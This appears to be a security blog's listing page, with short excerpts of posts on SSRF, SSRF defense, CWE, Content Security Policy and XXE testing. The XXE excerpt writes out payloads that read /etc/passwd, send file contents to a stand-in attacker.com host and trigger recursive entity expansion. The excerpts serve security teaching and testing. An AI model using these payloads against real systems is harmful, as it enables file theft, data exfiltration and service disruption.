Understanding SSRF: Vulnerabilities and Protection in Python Flask Applications

Understanding SSRF: Vulnerabilities and Protection in Python Flask Applications Introduction to Server-Side Request Forgery (SSRF) Server-Side Request Forgery (SSRF) is a potent web security vulnerability that allows attackers to manipulate a server into making unintended requests to internal or external resources. This attack exploits functionalities where the server fetches resources based on user-supplied inputs, such as URLs, without proper validation. In essence, SSRF turns the vulnerable server into a proxy for the attacker, enabling access to restricted areas like internal networks, metadata services, or even local files. ...

September 5, 2025 · 3 min · Carl Sampson

SSRF Defense

Defending Your Web Applications Against Server-Side Request Forgery (SSRF) Attacks In today’s interconnected digital landscape, web applications face a myriad of security threats. One often overlooked but potentially devastating vulnerability is Server-Side Request Forgery (SSRF). Did you know that, according to a recent report, SSRF attacks have increased by a staggering 270% in the past year alone? In this blog post, we’ll dive into what SSRF is, how it can impact your web applications, and most importantly, the steps you can take to defend against these insidious attacks. ...

April 28, 2025 · 3 min · chs

What is the Common Weakness Enumeration (CWE)?

Common Weakness Enumeration (CWE) is a system that identifies and categorizes common software and hardware vulnerabilities. It provides a standardized way of describing and categorizing these weaknesses, making it easier for developers, security analysts, and other professionals to understand, discuss, and address them. CWE was developed by the MITRE Corporation, a nonprofit organization that operates research and development centers sponsored by the U.S. government. It includes a comprehensive list of known security weaknesses, organized into categories based on the type of vulnerability. ...

April 4, 2023 · 2 min · chs

Some XXE Payloads

Here are some common XXE payloads that can be used to test for XXE- Basic payload: <!DOCTYPE replace [<!ENTITY example "Hello World">]> Retrieving sensitive files: <!DOCTYPE replace [<!ENTITY example SYSTEM "file:///etc/passwd">]> Retrieving files via FTP: <!DOCTYPE replace [<!ENTITY example SYSTEM "ftp://username:password@ftp.example.com/file">]> Retrieving files via HTTP: <!DOCTYPE replace [<!ENTITY example SYSTEM "http://example.com/file">]> Sending data to a remote server: <!DOCTYPE replace [<!ENTITY example SYSTEM "http://attacker.com/?data=%file_contents;">]> Recursive payload: <!DOCTYPE replace [<!ENTITY example "Hello &example2;"><!ENTITY example2 "&example;&example;&example;">]> ...

March 14, 2023 · 1 min · chs

Content Security Policy

Content Security Policy (CSP) is a security measure that helps protect web applications from various attacks, including Cross-Site Scripting (XSS) and data injection. CSP works by specifying a set of Content Security Rules that dictate what resources are allowed to load on a page. This can be used to whitelist trusted sources of content, or to block untrusted content entirely. One advantage of Content Security Policy is that it can help to prevent malicious code from running on a page. This is because CSP blocks resources from loading unless they are explicitly allowed by the Content Security Rules. As a result, CSP can act as a barrier against XSS attacks and other types of malicious code injection. ...

February 23, 2023 · 1 min · chs